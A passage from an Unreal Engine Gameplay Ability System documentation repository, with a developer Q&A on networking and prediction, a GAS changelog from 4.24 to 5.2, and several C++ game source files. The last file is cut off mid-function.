> I had a shelf of allowing predictive removal of GEs but could never work out all edge cases before having to move on. This doesn’t solve everything though since character movement still has an internal saved move buffer that does not know anything about the ability system and possible movement speed modifiers, etc. It is still possible to get into correction feedback loops even outside of not being able to predict the removal of GEs.
>
> If you think you have a case that is truly desperate, you are able to predictively add a GE that would inhibit your movement speed GEs. I’ve never done this myself but have theorized about it before. It may be able to help with a certain class of problem.
5. We know that the `AbilitySystemComponent` lives on the `PlayerState` in Paragon and Fortnite and on the `Character` in the Action RPG Sample. What are Epic’s internal rules, guidelines, or recommendations for where the AbilitySystemComponent should live, and what should its `Owner` be?
> In general I would say anything that does not need to respawn should have the Owner and Avatar actor be the same thing. Anything like AI enemies, buildings, world props, etc.
>
> Anything that does respawn should have the Owner and Avatar be different so that the Ability System Component does not need to be saved off / recreated / restored after a respawn. PlayerState is the logical choice it is replicated to all clients (where as PlayerController is not). The downside is PlayerStates are always relevant so you can run into problems in 100 player games (See notes on what FN did in question #3).
6. Is it viable to have several `AbilitySystemComponents` which have the same owner but different avatars (e.g. on pawn and weapon/items/projectiles with `Owner` set to `PlayerState`)?
> The first problem I see there would be implementing the IGameplayTagAssetInterface and IAbilitySystemInterface on the owning actor. The former may be possible: just aggregate the tags from all ASCs (but watch out - HasAllMatchingGameplayTags may be met only via cross ASC aggregation. It wouldn't be enough to just forward that calls to each ASC and OR the results together). But the later is even trickier: which ASC is the authoritative one? If someone wants to apply a GE - which one should receive it? Maybe you can work these out but this side of the problem will be the hardest: owners will multiple ASCs beneath them.
>
> Separate ASCs on the pawn and the weapon can make sense on its own though. E.g, distinguishing between tags the describe the weapon vs those that describe the owning pawn. Maybe it does make sense that tags granted to the weapon also “apply” to the owner and nothing else (E.g, attributes and GEs are independent but the owner will aggregate the owned tags like I describe above). This could work out, I am sure. But having multiple ASCs with the same owner may get dicey.
7. Is there a way to stop the Server from overwriting the cooldown duration of locally predicted abilities on the Owning Client? In scenarios of high latency, this would let the Owning Client "try" to activate the ability again when its local cooldown expires but it is still on cooldown on the Server. By the time the Owning Client's activation request reaches the Server over the network, the Server may be off cooldown or the Server might be able to queue the activation request for the remaining milliseconds that it has left. Otherwise as is, clients with higher latency have a longer delay before when they can reactivate an ability versus those with less latency. This is most apparent with very low cooldown abilities like a basic attack that can be less than one second of cooldown. If there isn't a way to stop the Server from overwriting the cooldown duration of locally predicted abilities, what is Epic's strategy for mitigating the effects of high latency on reactivating abilities? To word it another example-based way, how did Epic design Paragon's basic attacks and other abilities so that high latency players could attack or activate at the same speed as low latency players with local prediction?
> The short answer there is not a way to prevent this and Paragon definitely had the problem. Higher latency connections would have a lower ROF with basic attacks.
>
> I attempted to fix this by adding “GE reconciliation” where latency was taken into account when calculating GE duration. Essentially allowing the server to eat some of the total GE time so that the effective time of the GE client side would be 100% consistent with any amount of latency (though fluctuations could still cause issues). However I never got this working in a state that could ship and the project moved fast and we just never fully addressed it.
>
> Fortnite does its own bookkeeping for weapon firing rates: it does not use GEs for cooldowns on weapons. I would recommend this if this is a critical problem for your game.
8. What is Epic’s roadmap for the GameplayAbilitySystem plugin? Which features does Epic plan to add in 2019 and beyond?
> We feel that overall the system is pretty stable at this point and we don’t have anyone working on major new features. Bug fixes and small improvements occasionally are made for Fortnite or from UDN/pull requests, but that is it right now.
>
> Longer term, I think we will eventually do a “V2” or some big changes. We learned a lot from writing this system and feel we got a lot right and a lot wrong. I would love a chance to correct those mistakes and improve some of the fatal flaws that were pointed out above.
>
> If a V2 was to ever come, providing an upgrade path would be of utmost importance. We would never make a V2 and leave Fortnite on V1 forever: there would be some path or procedures that would automatically migrate as much as possible, though there would still almost certainly be some manual remaking required.
>
> The high priority fixes would be:
> * Better interoperability with the character movement system. Unifying client prediction.
> * GE removal prediction (question #4)
> * GE latency reconciliation (question #7)
> * Generalized network optimizations such as batching RPCs and proxy structures. Mostly the stuff that we’ve done for Fortnite but find ways to break it down into more generalized form, at least so that games can write their own game specific optimizations more easily.
>
> The more general refactor type of changes I would consider making:
> * I would like to look at fundamentally moving away from having GEs reference spreadsheet values directly, instead they would be able to emit parameters and those parameters could be filled by some higher level object that is bound to spreadsheet values. The problem with the current model is that GEs become unsharable due to their tight coupling with the curve table rows. I think a generalized system for parameterization could be written and be the underpinning of a V2 system.
> * Reduce number of “policies” on UGameplayAbility. I would remove ReplicationPolicy and InstancingPolicy. Replication is, imo, almost never actually needed and causes confusion. InstancingPolicy should be replaced instead by making FGameplayAbilitySpec a UObject that can be subclassed. This should have been the “non instantiated ability object” that has events and is blueprintable. The UGameplayAbility should be the “instanced per execution” object. It could be optional if you need to actually instantiate: instead “non instanced” abilities would be implemented via the new UGameplayAbilitySpec object.
> * The system should provide more “middle level” constructs such as “filtered GE application container” (data drive what GEs to apply to which actors with higher level gameplay logic), “Overlapping volume support” (apply the “Filtered GE application container” based on collision primitive overlap events), etc. These are building blocks that every project ends up implementing in their own way. Getting them right is non trivial so I think we should do a better job providing some basic implementations.
> * In general, reducing boilerplate needed to get your project up and running. Possibly a separate module “Ex library” or whatever that could provide things like passive abilities or basic hitscan weapons out of the box. This module would be optional but would get you up and running quickly.
> * I would like to move GameplayCues to a separate module that is not coupled with the ability system. I think there are a lot of improvements that could be made here.
> This is only my personal opinion and not a commitment from anyone. I think the most realistic course of action will be as new engine tech initiatives come through, the ability system will need to be updated and that will be a time to do this sort of thing. These initiatives could be related to scripting, networking, or physics/character movement. This is all very far looking ahead though so I cannot give commitments or estimates on timelines.
**[⬆ Back to Top](#table-of-contents)**
<a name="resources-daveratti-community2"></a>
#### 11.1.2 Community Questions 2
Community member [iniside](https://github.com/iniside)'s Q&A with <NAME>:
1. Is the support for decoupled fixed ticking planned? I'd like to
have Game Thread be fixed (like 30/60fps) and let the rendering thread
run wild. I ask if this is something we should expect in future or
not, to make some assumptions about how gameplay should work.
I ask mainly because there is now a fixed async tick for physics and
this poses a question how the rest of the system might work in the
future. I do not hide that having the ability to have fixed tick game
thread without also fixing tick rate of the rest of the engine would
be beyond awesome.
> There are no plans to decouple rendering frame rate and game thread tick frame rate. I think the ship has sailed on this ever happening due to the complexity of these systems and the requirement to preserve backwards compatibility with previous engine versions.
>
> Instead, the direction we've gone is to have an asynchronous "Physics Thread" which runs at a fixed tick rate, independent of the game thread. Things that need to run at a fixed rate can run here and the game thread / rendering can operate how they always have.
>
> It's worth clarifying that Network Prediction supports what it calls Independent Ticking and Fixed Ticking modes. My long term plan is to keep Independent Ticking roughly how it is today in Network Prediction where it runs on the game thread at variable frame rate and there is no "group/world" prediction, it's just the classic "clients predict their own pawn and owned actors" model. And Fixed Ticking would be what uses the async physics stuff and allows you to predict non client controlled/owned actors like physics objects and other clients/pawns/vehicles/etc.
2. Is there any plan on how the integration of Network Prediction will
look with the Ability System? Like for example, fixed frame ability
activation (so the server gets frames in which abilities were
activated and tasks executed instead of prediction keys)?
> Yes, the plan is to rewrite/remove the Ability System's prediction keys and replace them with Network Prediction constructs. The MockAbility examples in NetworkPredictionExtras show how this might work but they are more "hard coded" than what GAS will require.
>
> The main idea would be that we remove the explicit client->server Prediction Key exchange in the ASC's RPCs. There would no longer be prediction windows or scoped prediction keys. Instead everything would be anchored around NetworkPrediction frames. The important thing is that client and server agree on when things happen. Examples would be:
>
> * When abilities were activated/ended/cancelled
> * When Gameplay Effects were applied/removed
> * Attribute values (what an attributes value was at frame X)
>
> I think this could be done generically at the ability system level. But actually making the user-defined logic inside a UGameplayAbility completely rollback-able would still take more work. We may end up having a subclass of UGameplayAbility that is fully rollbackable and has access to a more limited set of functionality or only Ability Tasks that are marked as rollback-friendly. Something like that. There are also many implications to animation events and root motion and how those are processed.
>
> Wish I had a more clear answer but it's really important we get the foundation right before touching GAS again. Movement and physics have to be solid before the higher level systems can be changed.
3. Is there a plan to move Network Prediction development toward the
main branch? Not gonna lie, I'd really like to check the latest code.
Regardless of it's state.
> We are working towards it. The system work is still all being done in NetworkPrediction (see NetworkPhysics.h) and the underlying async physics stuff should be all available (RewindData.h etc). But we also have use cases in Fortnite that we have been focused on that obviously can't be made public. We are working through bugs, performance optimizations, etc.
>
> For more context: when working on the early versions of this system, we were very focused on the "front end" of things - how state and simulations were defined and written. We learned a lot there. But as the async physics stuff has come online, we've been much more focused on just getting something real to work in this system, at the expense of throwing out some of our early abstractions. The goal here is to circle back when the real thing is working and reunifying things. E.g, get back to the "front end" and make the final version of that on top of the core pieces of tech we are working on now.
4. For some time on main branch there was a plugin for sending Gameplay
Messages (Looked like Event/Message Bus), but it was removed. Any
plans to restore it? With the Game Features/Modular Gameplay plugins,
having a generic Event Bus Dispatcher would be extremely useful.
> I think you are referring to the GameplayMessages plugin. This will probably come back at some point - the API isn't really finalized yet and the author didn't mean for it to be public yet. I agree it should be useful for modular gameplay design. But it's not really my area so I don't have much more information.
5. I've been playing recently with async fixed physics and the results
are promising, though if there is going to be NP update in the future
I will probably just play around and wait, since to get it working I
still need to get entire engine into fixed tick and on the other hand
I try to keep physics at 33ms. Which does not make for a good
experience if everything is at 30 fps (:.
I have noticed there was some work on Async
CharacterMovementComponent, but not sure if this will be using Network
Prediction, or it is a separate effort?
Since I noticed it, I also went ahead and tried to implement my custom
async movement at fixed tick rate, which worked okay, but on top of it
I also needed to add a separate update for interpolation. The setup
was to run simulation tick on separate worker threads at fixed 33ms
update, do calculations, save result, and interpolate it at the game
thread to match current frame rate. Not perfect, but it got the job
done.
My question is, if this is something that might be easier to set up in
the future, as there is just quite a bit of boilerplate code to write,
(the interpolation part) and it's not particularly efficient to
interpolate each moving object individually.
The async stuff is really interesting, because it would allow you to
really run game simulation at fixed update rate (which would make
fixed thread unneeded) and have more predictable results. Is this
something that is intended going forward, or more of a benefit to
select systems? As far as I remember actor transforms are not updated
async and blueprints are not entirely thread safe. In other words is
it something that is planned to be supported at more of a framework
level or something that each game has to solve on it's own?
> Async CharacterMovementComponent
>
> This is basically an early prototype/experiment of porting CMC as it is to the physics thread. I don't view it as the future of CMC yet, but it could evolve into that. Right now there is no networking support so it's not something I would really follow. The people doing it are mostly concerned with measuring input latency that this system would add and how that could be mitigated.
>
> I still need to get entire engine into fixed tick and on the other hand I try to keep physics at 33ms. Which does not make for a good experience if everything is at 30 fps (:.
>
> The async stuff is really interesting, because it would allow you to really run game simulation at fixed update rate (which would make fixed thread unneeded)
>
> Yes. The goal here is that with async physics enabled, you can run the engine at variable tick rate while the physics and "core" gameplay simulations can run at the fixed rate (such as character movement, vehicles, GAS, etc).
>
> These are the cvars that need to be set to enable this now: (I think you've figured this out)
> `p.DefaultAsyncDt=0.03333`
> `p.RewindCaptureNumFrames=64`
>
> Chaos does provide interpolation for the physics state (e.g, the transforms that get pushed back to the UPrimitiveComponent and are visible to the game code). There is a cvar now, `p.AsyncInterpolationMultiplier`, which controls that if you want to look at it. You should see smooth continuous motion of physics bodies without having to write any extra code.
>
> If you want to interpolate non physics state, it is still up to you to do that right now. The example would be like a cool-down that you want to update (tick) on the async physics thread but see smooth continuous interpolation on the game thread so that every render frame the cool-down visualization is updated. We will get to this eventually but don't have examples yet.
>
> there is just quite a bit of boilerplate code to write,
>
> Yeah, so that has been a big general problem with the system up until now. We want to provide an interface that experienced programmers can use to maximize performance and safety (the ability to write gameplay code that "just works" predictively without tons of hazards and things you could-do-but-better-not). So something like CharacterMoverment might do a bunch of custom stuff to maximize its performance - e.g, writing templated code and doing batch updating, going wide, breaking the update loop into distinct phases etc. We want to provide a good "low level" interface into the async thread and rollback systems for this use case. And in this case too - it's still reasonable that the character movement system itself is extendable in its own way. For example providing a way to blueprint a custom movement mode and providing a blueprint API that is thread safe.
>
> But we recognize this is not acceptable for simpler gameplay objects that don't really need their own "system". Something more inline with Unreal is what is needed. E.g, using the reflection system, having general blueprint support, etc. There are examples of blueprints being used on other threads (see BlueprintThreadSafe keyword and what the animation system has been working towards). So I think there will be some form of this one day. But again, we aren't there yet.
>
> I realize you were just asking about interpolation but that is the general answer: right now we have you do everything manually like NetSerialize, ShouldReconcile, Interpolate, etc but eventually we'll have a way that is like "if you want to just use the reflection system, you don't have to manually write this stuff". We just don't want to *force* everyone to use the reflection system since that imposes other limitations that we think we don't want to take on the lowest levels of the system.
>
> And then just to tie this back to what I said earlier - right now we are really focused on getting a few very specific examples working and performant and then we will turn attention back to the front end and making things friendly to use and iterate on, reducing boilerplate, etc for everybody else to use.
**[⬆ Back to Top](#table-of-contents)**
<a name="changelog"></a>
## 12. GAS Changelog
This is a list of notable changes (fixes, changes, and new features) to GAS compiled from the official Unreal Engine upgrade changelog and from undocumented changes that I've encountered. If you've found something that isn't listed here, please make an issue or pull request.
<a name="changelog-5.2"></a>
### 5.2
* Bug Fix: Fixed a crash in the `UAbilitySystemBlueprintLibrary::MakeSpecHandle` function.
* Bug Fix: Fixed logic in the Gameplay Ability System where a non-Controlled Pawn would be considered remote, even if it was spawned locally on the server (e.g. Vehicles).
* Bug Fix: Correctly set activation info on predicted instanced abilities that were rejected by the server.
* Bug Fix: Fixed a bug that would cause GameplayCues to get stuck on remote instances.
* Bug Fix: Fixed a memory stomp when chaining calls to WaitGameplayEvent.
* Bug Fix: Calling the AbilitySystemComponent `GetOwnedGameplayTags()` function in Blueprint no longer retains the previous call's return values when the same node is executed multiple times.
* Bug Fix: Fixed an issue with GameplayEffectContext replicating a reference to a dynamic object that would never be replicated.
* This prevented GameplayEffect from calling `Owner->HandleDeferredGameplayCues(this)` as `bHasMoreUnmappedReferences` would always be true.
* New: The [Gameplay Targeting System](https://docs.unrealengine.com/en-US/gameplay-targeting-system-in-unreal-engine/) is a way to create data-driven targeting requests.
* New: Added custom serialization support for GameplayTag Queries.
* New: Added support for replicating derived FGameplayEffectContext types.
* New: Gameplay Attributes in assets are now registered as searchable names on save, allowing for references to attributes to be seen in the reference viewer.
* New: Added some basic unit tests for the AbilitySystemComponent.
* New: Gameplay Ability System Attributes now respect Core Redirects. This means you can now rename Attribute Sets and their Attributes in code and have them load properly in assets saved with the old names by adding redirect entries to DefaultEngine.ini.
* Change: Allow changing the evaluation channel of a Gameplay Effect Modifier from code.
* Change: Removed previously unused variable `FGameplayModifierInfo::Magnitude` from the Gameplay Abilities Plugin.
* Change: Removed the synchronization logic between the ability system component and Smart Object instance tags.
https://docs.unrealengine.com/5.2/en-US/unreal-engine-5.2-release-notes/
<a name="changelog-5.1"></a>
### 5.1
* Bug Fix: Fixed issue where replicated loose gameplay tags were not replicating to the owner.
* Bug Fix: Fixed AbilityTask bug where abilities could be blocked from timely garbage-collection.
* Bug Fix: Fixed an issue when a gameplay ability listening to activate based on a tag would fail to be activated. This would happen if there were more than one Gameplay Ability listening to this tag, and the first one in the list was invalid or didn't have authority to activate.
* Bug Fix: Fixed GameplayEffects that use Data Registries correctly from warning on load and improved the warning text.
* Bug Fix: Removed code from UGameplayAbility that was incorrectly only registering the last instanced ability with the Blueprint debugger for breakpoints.
* Bug Fix: Fixed Gameplay Ability System Ability getting stuck if EndAbility was called during the lock inside ApplyGameplayEffectSpecToTarget.
* New: Added support for Gameplay Effects to add blocked ability tags.
* New: Added WaitGameplayTagQuery nodes. One is based off of the UAbilityTask and the other is of UAbilityAsync. This node specifies a TagQuery, and will trigger its output pin when the query becomes true or false, based on configuration.
* New: Modified AbilityTask debugging in Console Variables to enable debug recording and printing to log by default in non-shipping builds (with ability to hotfix on/off as needed).
* New: You can now set AbilitySystem.AbilityTask.Debug.RecordingEnabled to 0 to disable, 1 to enable in non-shipping builds, and 2 to enable all builds (including shipping).
* New: You can use AbilitySystem.AbilityTask.Debug.AbilityTaskDebugPrintTopNResults to only print the top N results in log (to avoid log spam).
* New: STAT_AbilityTaskDebugRecording can be used to test perf impact from these on-by-default debugging changes.
* New: Added a debug command to filter GameplayCue events.
* New: Added new debug commandsAbilitySystem.DebugAbilityTags, AbilitySystem.DebugBlockedTags, andAbilitySystem.DebugAttribute to the Gameplay Ability System.
* New: Added a Blueprint function to get a debug string representation of a Gameplay Attribute.
* New: Added a new Gameplay Task resource overlap policy to cancel existing tasks.
* Change: Now Ability Tasks should make sure to call Super::OnDestroy only after they do anything needed to the Ability pointer, as it will be nulled out after calling it.
* Change: Converted FGameplayAbilitySpec/Def::SourceObject to be a weak reference.
* Change: Made a Ability System Component reference in the Ability Task a weak pointer so Garbage Collection can delete it.
* Change: Removed redundant enum EWaitGameplayTagQueryAsyncTriggerCondition.
* Change: GameplayTasksComponent and AbilitySystemComponent now support the registered subobject API.
* Change: Added better logging to indicate why Gameplay Abilities failed to be activated.
* Change: Removed AbilitySystem.Debug.NextTarget and PrevTarget commands in favor of global HUD NextDebugTarget and PrevDebugTarget commands.
https://docs.unrealengine.com/5.1/en-US/unreal-engine-5.1-release-notes/
<a name="changelog-5.0"></a>
### 5.0
https://docs.unrealengine.com/5.0/en-US/unreal-engine-5.0-release-notes/
<a name="changelog-4.27"></a>
### 4.27
* Crash Fix: Fixed a root motion source issue where a networked client could crash when an Actor finishes executing an ability that uses a constant force root motion task with a strength-over-time modifier.
* Bug Fix: Fixed a regression in Editor loading time when using GameplayCues.
* Bug Fix: GameplayEffectsContainer's `SetActiveGameplayEffectLevel` method will no longer dirty FastArray if setting the same EffectLevel.
* Bug Fix: Fixed an edge case in GameplayEffect mixed replication mode where Actors not explicitly owned by the net connection but who utilize that connection from `GetNetConnection` will not received mixed replication updates.
* Bug Fix: Fixed an endless recursion occuring in GameplayAbility's class method `EndAbility` which was called by calling `EndAbility` again from `K2_OnEndAbility`.
* Bug Fix: GameplayTags Blueprint pins will no longer be silently cleared if they are loaded before tags are registered. They now work the same as GameplayTag variables, and the behavior for both can be changed with the ClearInvalidTags option in the Project Settings.
* Bug Fix: Improved thread safety of GameplayTag operations.
* New: Exposed SourceObject to GameplayAbility's `K2_CanActivateAbility` method.
* New: Native GameplayTags. Introducing a new `FNativeGameplayTag`, these make it possible to do one off native tags that are correctly registered and unregistered when the module is loaded and unloaded.
* New: Updated `GiveAbilityAndActivateOnce` to pass in FGameplayEventData parameter.
* New: Improved ScalableFloats in the GameplayAbilities plugin to support dynamic lookup of curve tables from the new Data Registry System. Added a ScalableFloat header for easier reuse of the generic struct outside the abilities plugin.
* New: Added code support for using the GameplayTag UI in other Editor customizations via GameplayTagsEditorModule.
* New: Modified UGameplayAbility's PreActivate method to optionally take in trigger event data.
* New: Added more support to filter GameplayTags in the Editor using a project-specific filter. `OnFilterGameplayTag` supplies the referencing property and the tag source, so you can filter tags based on what asset is requesting the tag.
* New: Added option to preserve the original captured SourceTags when GameplayEffectSpec's class method `SetContext` is called after initialization.
* New: Improved UI for registering GameplayTags from specific plugins. The new tag UI now lets you select a plugin location on disk for newly added GameplayTag sources.
* New: A new track has been added to Sequencer to allow for triggering notify states on Actors built using the GameplayAbiltiySystem. Like notifies, the GameplayCueTrack can utilize range-based events or trigger-based events.
* Change: Changed the GameplayCueInterface to pass GameplayCueParameters struct by reference.
* Optimization: Made several performance improvements to loading and regenerating the GameplayTag table were implemented so that this option would be optimized.
https://docs.unrealengine.com/en-US/WhatsNew/Builds/ReleaseNotes/4_27/
<a name="changelog-4.26"></a>
### 4.26
* GAS plugin is no longer flagged as beta.
* Crash Fix: Fixed a crash when adding a gameplay tag without a valid tag source selection.
* Crash Fix: Added the path string arg to a message to fix a crash in UGameplayCueManager::VerifyNotifyAssetIsInValidPath.
* Crash Fix: Fixed an access violation crash in AbilitySystemComponent_Abilities when using a ptr without checking it.
* Bug Fix: Fixed a bug where stacking GEs that did not reset the duration on additional instances of the effect being applied.
* Bug Fix: Fixed an issue that caused CancelAllAbilities to only cancel non-instanced abilities.
* New: Added optional tag parameters to gameplay ability commit functions.
* New: Added StartTimeSeconds to PlayMontageAndWait ability task and improved comments.
* New: Added tag container "DynamicAbilityTags" to FGameplayAbilitySpec. These are optional ability tags that are replicated with the spec. They are also captured as source tags by applied gameplay effects.
* New: GameplayAbility IsLocallyControlled and HasAuthority functions are now callable from Blueprint.
* New: Visual logger will now only collect and store info about instant GEs if we're currently recording visual logging data.
* New: Added support for redirectors on gameplay attribute pins in blueprint nodes.
* New: Added new functionality for when root motion movement related ability tasks end they will return the movement component's movement mode to the movement mode it was in before the task started.
https://docs.unrealengine.com/en-US/WhatsNew/Builds/ReleaseNotes/4_26/
<a name="changelog-4.25.1"></a>
### 4.25.1
* Fixed! UE-92787 Crash saving blueprint with a Get Float Attribute node and the attribute pin is set inline
* Fixed! UE-92810 Crash spawning actor with instance editable gameplay tag property that was changed inline
<a name="changelog-4.25"></a>
### 4.25
* Fixed prediction of `RootMotionSource` `AbilityTasks`
* [`GAMEPLAYATTRIBUTE_REPNOTIFY()`](#concepts-as-attributes) now additionally takes in the old `Attribute` value. We must supply that as the optional parameter to our `OnRep` functions. Previously, it was reading the attribute value to try to get the old value. However, if called from a replication function, the old value had already been discarded before reaching SetBaseAttributeValueFromReplication so we'd get the new value instead.
* Added [`NetSecurityPolicy`](#concepts-ga-netsecuritypolicy) to `UGameplayAbility`.
* Crash Fix: Fixed a crash when adding a gameplay tag without a valid tag source selection.
* Crash Fix: Removed a few ways for attackers to crash a server through the ability system.
* Crash Fix: We now make sure we have a GameplayEffect definition before checking tag requirements.
* Bug Fix: Fixed an issue with gameplay tag categories not applying to function parameters in Blueprints if they were part of a function terminator node.
* Bug Fix: Fixed an issue with gameplay effects' tags not being replicated with multiple viewports.
* Bug Fix: Fixed a bug where a gameplay ability spec could be invalidated by the InternalTryActivateAbility function while looping through triggered abilities.
* Bug Fix: Changed how we handle updating gameplay tags inside of tag count containers. When deferring the update of parent tags while removing gameplay tags, we will now call the change-related delegates after the parent tags have updated. This ensures that the tag table is in a consistent state when the delegates broadcast.
* Bug Fix: We now make a copy of the spawned target actor array before iterating over it inside when confirming targets because some callbacks may modify the array.
* Bug Fix: Fixed a bug where stacking GameplayEffects that did not reset the duration on additional instances of the effect being applied and with set by caller durations would only have the duration correctly set for the first instance on the stack. All other GE specs in the stack would have a duration of 1 second. Added automation tests to detect this case.
* Bug Fix: Fixed a bug that could occur if handling gameplay event delegates modified the list of gameplay event delegates.
* Bug Fix: Fixed a bug causing GiveAbilityAndActivateOnce to behave inconsistently.
* Bug Fix: Reordered some operations inside FGameplayEffectSpec::Initialize to deal with a potential ordering dependency.
* New: UGameplayAbility now has an OnRemoveAbility function. It follows the same pattern as OnGiveAbility and is only called on the primary instance of the ability or the class default object.
* New: When displaying blocked ability tags, the debug text now includes the total number of blocked tags.
* New: Renamed UAbilitySystemComponent::InternalServerTryActiveAbility to UAbilitySystemComponent::InternalServerTryActivateAbility.Code that was calling InternalServerTryActiveAbility should now call InternalServerTryActivateAbility.
* New: Continue to use the filter text for displaying gameplay tags when a tag is added or deleted. The previous behavior cleared the filter.
* New: Don't reset the tag source when we add a new tag in the editor.
* New: Added the ability to query an ability system component for all active gameplay effects that have a specified set of tags. The new function is called GetActiveEffectsWithAllTags and can be accessed through code or blueprints.
* New: When root motion movement related ability tasks end they now return the movement component's movement mode to the movement mode it was in before the task started.
* New: Made SpawnedAttributes transient so it won't save data that can become stale and incorrect. Added null checks to prevent any currently saved stale data from propagating. This prevents problems related to bad data getting stored in SpawnedAttributes.
* API Change: AddDefaultSubobjectSet has been deprecated. AddAttributeSetSubobject should be used instead.
* New: Gameplay Abilities can now specify the Anim Instance on which to play a montage.
https://docs.unrealengine.com/en-US/WhatsNew/Builds/ReleaseNotes/4_25/
<a name="changelog-4.24"></a>
### 4.24
* Fixed blueprint node `Attribute` variables resetting to `None` on compile.
* Need to call [`UAbilitySystemGlobals::InitGlobalData()`](#concepts-asg-initglobaldata) to use [`TargetData`](#concepts-targeting-data) otherwise you will get `ScriptStructCache` errors and clients will be disconnected from the server. My advice is to always call this in every project now whereas before 4.24 it was optional.
* Fixed crash when copying a `GameplayTag` setter to a blueprint that didn't have the variable previously defined.
* `UGameplayAbility::MontageStop()` function now properly uses the `OverrideBlendOutTime` parameter.
* Fixed `GameplayTag` query variables on components not being modified when edited.
* Added the ability for `GameplayEffectExecutionCalculations` to support scoped modifiers against "temporary variables" that aren't required to be backed by an attribute capture.
* Implementation basically enables `GameplayTag`-identified aggregators to be created as a means for an execution to expose a temporary value to be manipulated with scoped modifiers; you can now build formulas that want manipulatable values that don't need to be captured from a source or target.
* To use, an execution has to add a tag to the new member variable `ValidTransientAggregatorIdentifiers`; those tags will show up in the calculation modifier array of scoped mods at the bottom, marked as temporary variables—with updated details customizations accordingly to support feature
* Added restricted tag quality-of-life improvements. Removed the default option for restricted `GameplayTag` source. We no longer reset the source when adding restricted tags to make it easier to add several in a row.
* `APawn::PossessedBy()` now sets the owner of the `Pawn` to the new `Controller`. Useful because [Mixed Replication Mode](#concepts-asc-rm) expects the owner of the `Pawn` to be the `Controller` if the `ASC` lives on the `Pawn`.
* Fixed bug with POD (Plain Old Data) in `FAttributeSetInitterDiscreteLevels`.
https://docs.unrealengine.com/en-US/WhatsNew/Builds/ReleaseNotes/4_24/
**[⬆ Back to Top](#table-of-contents)**
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/GDAbilitySystemComponent.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "AbilitySystemComponent.h"
#include "GDAbilitySystemComponent.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FReceivedDamageDelegate, UGDAbilitySystemComponent*, SourceASC, float, UnmitigatedDamage, float, MitigatedDamage);
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDAbilitySystemComponent : public UAbilitySystemComponent
{
GENERATED_BODY()
public:
bool bCharacterAbilitiesGiven = false;
bool bStartupEffectsApplied = false;
FReceivedDamageDelegate ReceivedDamage;
// Called from GDDamageExecCalculation. Broadcasts on ReceivedDamage whenever this ASC receives damage.
virtual void ReceiveDamage(UGDAbilitySystemComponent* SourceASC, float UnmitigatedDamage, float MitigatedDamage);
};
<file_sep>/Source/GASDocumentation/Private/UI/GDHUDWidget.cpp
// Copyright 2020 <NAME>.
#include "UI/GDHUDWidget.h"
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AsyncTaskCooldownChanged.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Kismet/BlueprintAsyncActionBase.h"
#include "AbilitySystemComponent.h"
#include "GameplayTagContainer.h"
#include "AsyncTaskCooldownChanged.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FOnCooldownChanged, FGameplayTag, CooldownTag, float, TimeRemaining, float, Duration);
/**
* Blueprint node to automatically register a listener for changes (Begin and End) to an array of Cooldown tags.
* Useful to use in UI.
*/
UCLASS(BlueprintType, meta = (ExposedAsyncProxy = AsyncTask))
class GASDOCUMENTATION_API UAsyncTaskCooldownChanged : public UBlueprintAsyncActionBase
{
GENERATED_BODY()
public:
UPROPERTY(BlueprintAssignable)
FOnCooldownChanged OnCooldownBegin;
UPROPERTY(BlueprintAssignable)
FOnCooldownChanged OnCooldownEnd;
// Listens for changes (Begin and End) to cooldown GameplayEffects based on the cooldown tag.
// UseServerCooldown determines if the Sever's cooldown is returned in addition to the local predicted cooldown.
// If using ServerCooldown, TimeRemaining and Duration will return -1 to signal local predicted cooldown has begun.
UFUNCTION(BlueprintCallable, meta = (BlueprintInternalUseOnly = "true"))
static UAsyncTaskCooldownChanged* ListenForCooldownChange(UAbilitySystemComponent* AbilitySystemComponent, FGameplayTagContainer CooldownTags, bool UseServerCooldown);
// You must call this function manually when you want the AsyncTask to end.
// For UMG Widgets, you would call it in the Widget's Destruct event.
UFUNCTION(BlueprintCallable)
void EndTask();
protected:
UPROPERTY()
UAbilitySystemComponent* ASC;
FGameplayTagContainer CooldownTags;
bool UseServerCooldown;
virtual void OnActiveGameplayEffectAddedCallback(UAbilitySystemComponent* Target, const FGameplayEffectSpec& SpecApplied, FActiveGameplayEffectHandle ActiveHandle);
virtual void CooldownTagChanged(const FGameplayTag CooldownTag, int32 NewCount);
bool GetCooldownRemainingForTag(FGameplayTagContainer CooldownTags, float& TimeRemaining, float& CooldownDuration);
};
<file_sep>/Source/GASDocumentation/Public/GDAssetManager.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Engine/AssetManager.h"
#include "GDAssetManager.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDAssetManager : public UAssetManager
{
GENERATED_BODY()
public:
static UGDAssetManager& Get();
/** Starts initial load, gets called from InitializeObjectReferences */
virtual void StartInitialLoading() override;
};
<file_sep>/Source/GASDocumentation/Private/Characters/GDCharacterMovementComponent.cpp
// Copyright 2020 <NAME>.
#include "Characters/GDCharacterMovementComponent.h"
#include "AbilitySystemComponent.h"
#include "Characters/GDCharacterBase.h"
#include "GameplayTagContainer.h"
UGDCharacterMovementComponent::UGDCharacterMovementComponent()
{
SprintSpeedMultiplier = 1.4f;
ADSSpeedMultiplier = 0.5f;
}
float UGDCharacterMovementComponent::GetMaxSpeed() const
{
AGDCharacterBase* Owner = Cast<AGDCharacterBase>(GetOwner());
if (!Owner)
{
UE_LOG(LogTemp, Error, TEXT("%s() No Owner"), *FString(__FUNCTION__));
return Super::GetMaxSpeed();
}
if (!Owner->IsAlive())
{
return 0.0f;
}
if (Owner->GetAbilitySystemComponent()->HasMatchingGameplayTag(FGameplayTag::RequestGameplayTag(FName("State.Debuff.Stun"))))
{
return 0.0f;
}
if (RequestToStartSprinting)
{
return Owner->GetMoveSpeed() * SprintSpeedMultiplier;
}
if (RequestToStartADS)
{
return Owner->GetMoveSpeed() * ADSSpeedMultiplier;
}
return Owner->GetMoveSpeed();
}
void UGDCharacterMovementComponent::UpdateFromCompressedFlags(uint8 Flags)
{
Super::UpdateFromCompressedFlags(Flags);
//The Flags parameter contains the compressed input flags that are stored in the saved move.
